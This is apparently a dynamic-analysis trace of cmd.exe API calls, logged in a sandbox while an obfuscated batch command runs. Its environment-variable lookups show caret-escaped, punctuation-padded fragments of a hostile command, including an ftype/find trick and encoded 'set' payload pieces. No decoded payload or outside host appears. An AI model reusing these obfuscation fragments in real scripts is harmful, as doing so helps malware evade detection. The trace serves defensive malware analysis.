	[0056.111] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0056.111] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0056.111] GetEnvironmentStringsW () returned 0x3eeb60*
	[0056.111] FreeEnvironmentStringsW (penv=0x3eeb60) returned 1
	[0056.111] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0056.111] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.111] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0056.111] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0056.112] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0056.112] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0056.112] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0056.112] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0056.112] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0056.112] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0056.112] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2afa30 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.112] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x2afa30, lpFilePart=0x2afa10 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x2afa10*="Desktop") returned 0x19
	[0056.112] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.112] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2af740 | out: lpFindFileData=0x2af740) returned 0x3f2540
	[0056.112] FindClose (in: hFindFile=0x3f2540 | out: hFindFile=0x3f2540) returned 1
	[0056.112] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x2af740 | out: lpFindFileData=0x2af740) returned 0x3f2540
	[0056.112] FindClose (in: hFindFile=0x3f2540 | out: hFindFile=0x3f2540) returned 1
	[0056.112] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x2af740 | out: lpFindFileData=0x2af740) returned 0x3f2540
	[0056.113] FindClose (in: hFindFile=0x3f2540 | out: hFindFile=0x3f2540) returned 1
	[0056.113] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.113] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0056.113] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0056.113] GetEnvironmentStringsW () returned 0x3f1a10*
	[0056.113] FreeEnvironmentStringsW (penv=0x3f1a10) returned 1
	[0056.113] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.114] GetConsoleOutputCP () returned 0x1b5
	[0056.114] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.114] GetUserDefaultLCID () returned 0x409
	[0056.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0056.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2afb40, cchData=128 | out: lpLCData="0") returned 2
	[0056.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2afb40, cchData=128 | out: lpLCData="0") returned 2
	[0056.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2afb40, cchData=128 | out: lpLCData="1") returned 2
	[0056.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0056.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0056.118] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0056.118] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0056.119] GetConsoleTitleW (in: lpConsoleTitle=0x3ef700, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.119] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.119] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0056.119] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0056.119] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0056.121] GetEnvironmentVariableW (in: lpName="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="CD") returned -5
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="ERRORLEVEL") returned -7
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="CMDEXTVERSION") returned -5
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="CMDCMDLINE") returned -5
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="DATE") returned -6
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="TIME") returned -22
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="RANDOM") returned -20
	[0056.121] _wcsicmp (_String1="^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.122] GetEnvironmentVariableW (in: lpName="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="CD") returned -5
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="ERRORLEVEL") returned -7
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="CMDEXTVERSION") returned -5
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="CMDCMDLINE") returned -5
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="DATE") returned -6
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="TIME") returned -22
	[0056.122] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="RANDOM") returned -20
	[0056.123] _wcsicmp (_String1="^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.123] GetEnvironmentVariableW (in: lpName="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CD") returned -5
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="ERRORLEVEL") returned -7
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDEXTVERSION") returned -5
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDCMDLINE") returned -5
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="DATE") returned -6
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="TIME") returned -22
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="RANDOM") returned -20
	[0056.123] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.123] GetEnvironmentVariableW (in: lpName="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CD") returned -5
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="ERRORLEVEL") returned -7
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDEXTVERSION") returned -5
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDCMDLINE") returned -5
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="DATE") returned -6
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="TIME") returned -22
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="RANDOM") returned -20
	[0056.123] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.124] GetEnvironmentVariableW (in: lpName="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.124] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CD") returned -5
